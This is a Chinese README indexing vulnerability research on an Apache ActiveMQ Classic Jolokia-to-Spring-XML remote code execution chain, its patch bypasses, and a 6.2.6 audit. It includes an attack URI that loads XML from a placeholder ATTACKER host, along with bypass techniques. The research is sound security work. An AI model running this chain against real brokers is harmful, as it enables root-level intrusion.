
Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 绕过链 + hardened-6.2.6 审计发现 + Crowdfense 比较
针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链(CVE-2026-34197 及其补丁绕过 CVE-2026-42588)的私有研究存档,外加对已修复的 6.2.6 版本的全自动重审计,以及与 Crowdfense 公开的绕过文章进行的并列对比。
所有利用均在 本地实验室 Broker(Docker / 自托管)上执行。Payload 使用占位符攻击者主机。
| 目录 | 阶段 | 内容 |
|---|---|---|
00-comparison-vs-crowdfense.md | 对比 | 我们的工作 vs. Crowdfense 的 "ActiveMQ RCE Bypass" 文章,以 file:line 源码验证 |
01-original-cve-2026-34197/ | 原始复现 | 分析 + PoC 脚本 + Spring-XML payload(实验室:activemq-classic:5.18.6) |
02-reaudit-apr30/ | 版本矩阵 | uid=0 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7;评估 + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | 实时绕过 | 无括号组合绕过(42588)+ MessageServlet XSS(42253),实时复现 |
04-audit-6.2.6/ | 完整审计 | 对加固后的 6.2.6 进行自动研究审计:最终报告 + 发现清单 |
实验室中使用的供应商源码树和二进制发行版有意 排除在外(它们是上游代码,非我们所有)。
一个经过身份验证的 Jolokia 调用者(在 6.0.0–6.1.1 中通过 CVE-2024-32114 可未经身份验证)调用 BrokerView.addNetworkConnector(uri),使用一个精心构造的 discovery URI,其内部的 vm://…?brokerConfig=xbean:<url> 强制 Broker 加载攻击者控制的 Spring XML,该 XML 在 Broker 验证之前立即实例化一个 ProcessBuilder bean,导致操作系统命令执行。
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory 动态创建 Broker → XBeanBrokerFactory
→ ResourceXmlApplicationContext 加载 Spring XML → ProcessBuilder bean → RCE
重点: 三个发现已被 实时证明 可达到 root/XSS;6.2.6 审计增加了一组更广泛的发现,这些发现 通过源码验证并经过对抗性评判,但尚未实时引爆。6.2.6 中没有任何额外的发现是新的 无需认证的 RCE —— 供应商已关闭了这些通道;剩余风险转移到了授权和输出编码。
MQTT QoS 序数数组越界(QoS.values()[ordinal],跨协议,无配置)· OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire 解组中的有符号 short NegativeArraySizeException · 负数 AMQ_SCHEDULED_REPEAT 永不终止的任务。
Crowdfense 的 Apache ActiveMQ RCE Bypass 涵盖了 相同的链(他们将其归入 CVE-2026-34197;我们将绕过跟踪为其自己的 CVE-2026-42588)。两篇报告都聚焦于三层防御;唯一的差异在于 第 2 层。
一个缺口: 他们的第 2 层百分比编码 + UNC/WebDAV 技巧实现了 完全远程 投递,无需本地写入原语。它所滥用的分类器缺陷(activemq-spring/Utils.java:123-129,在未解码字符串上执行原始 startsWith("file://"))出现在我们的确切源码中 — 但远程部分 仅限 Windows(Linux 将 //host/share 视为本地路径),而我们的实验室是 Linux,因此在那里无法利用。无论如何,它在 6.2.6 上 已失效(VMTransportFactory 方案门控在 Utils 运行之前就拒绝了 xbean)。
后续工作: 在 Windows 托管 的 5.19.6(或任何早于 5.19.7/6.2.6 的构建)上设置 SMB/WebDAV 监听器,将使我们能够演示完全远程的白名单绕过 —— 这是文章中具有而我们的参与尚未展示的唯一能力。
三个提交关闭了该链:c1b44af11(验证不带括号的组合 URI — 无条件 parseComposite + 递归),c2fc7a1d6(通过 VMTransportFactory 方案白名单默认阻止 XBeanBrokerFactory),以及 be8415f24(示例配置加固:Jolokia 限制到回环地址,操作拒绝列表包含 addNetworkConnector)。
| ID | 发现 | 类别 | 严重程度 | 认证 | 证明 |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | 严重 | 需要认证(6.0.0–6.1.1 无需认证) | 实时 — uid=0 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 上 |
| CVE-2026-42588 | 无括号组合 URI 绕过 34197 黑名单 | RCE(补丁绕过) | 严重 | 需要认证 | 实时 — uid=0 在打了 34197 补丁的 5.19.6 + 6.2.0 上 |
| CVE-2026-42253 | MessageServlet 头部注入 → 存储型 XSS | 注入 / XSS | 中 | 需要认证 | 实时 在 6.2.0 上 |
| ID | 发现 | 类别 | 严重程度 | 认证 | 备注 |
|---|
| C1 | static: 黑名单缺口 → SSRF — static 未出现在 DENIED_TRANSPORT_SCHEMES 中;addNetworkConnector("static:(tcp://…)") → 出站 Broker TCP | SSRF | 中 | 管理员 / JMX | 与文章中涵盖的 相同 34197/42588 黑名单 经过的接收变体 |
| B1 | 持久订阅 跨 clientId 删除 IDOR — removeSubscription 键基于客户端提供的 clientId,且在 AuthorizationBroker 中未设防护 | 损坏的授权 / IDOR | 中 | 需要认证(若 Broker 认证关闭则为无需认证) | 最干净的新发现 |
| B3 | LDAP 空密码 → 匿名绑定(LDAPLoginModule,无空值检查) | 认证绕过 | 中(有条件) | 无需认证 | 条件:目录接受匿名绑定 |
| A1–A7 | 控制台 输出编码注入家族 — 攻击者控制的 MessageId.textView(OpenWire v10+ 和 AMQP)在约 7 个 JSP/REST 接收点 + FileSystemBlobStrategy 路径遍历中未转义 | 注入 | 低–中 | 生产者 → 管理员 | 默认受 CSP 限制为 HTML/内容注入 |
| B2 | Shiro WildcardPermission 冒号注入权限提升 | 权限提升 | 低–中 | 需要认证 | Shiro 非默认 |
| B4 | 临时目标授权 失败开放 与非临时目标失败关闭的不对称性 | 损坏的授权 | 低 | 需要认证 | 设计如此(AMQ-4721);加固说明 |
| B5 | StatisticsBroker replyTo 在插件排序于授权之前时跳过写 ACL | 损坏的授权 | 低 | 需要认证 | 依赖配置顺序 |
| B6 | 证书登录 非规范 DN(getSubjectDN().getName())→ 同一 CA 证书间的身份冲突 | 认证 | 低 | 无需认证(TLS 验证) | "任意自签名证书" 不 起作用 |
| B7 | JMSXUserID 伪造 当 populateJMSXUserID=false(默认值)时 | 伪造 | 低 | 需要认证 | — |
| F5 | STOMP 出站头部 名称 从未转义 → 帧注入给同租户订阅者 | 注入 | 低 | 跨协议 | STOMP 已启用 |
| 层 | 防御 | Crowdfense 的突破方式 | 我们的突破方式 |
|---|
| 1 | 方案 黑名单(34197 修复) | 无括号组合 static:vm://… | 相同 — 独立发现 ✅ |
| 2 | xbean {file,classpath} 白名单(#1910) | 百分比编码 file:%2f%2f… → Windows UNC → WebDAV → 远程 HTTP 获取 | 本地文件 xbean:/tmp/evil.xml(需要本地写入权限) |
| 3 | VMTransportFactory 方案门控(broker,properties,即 42588 / 6.2.6 修复) | 承认其为终结手段 | 相同结论 ✅ |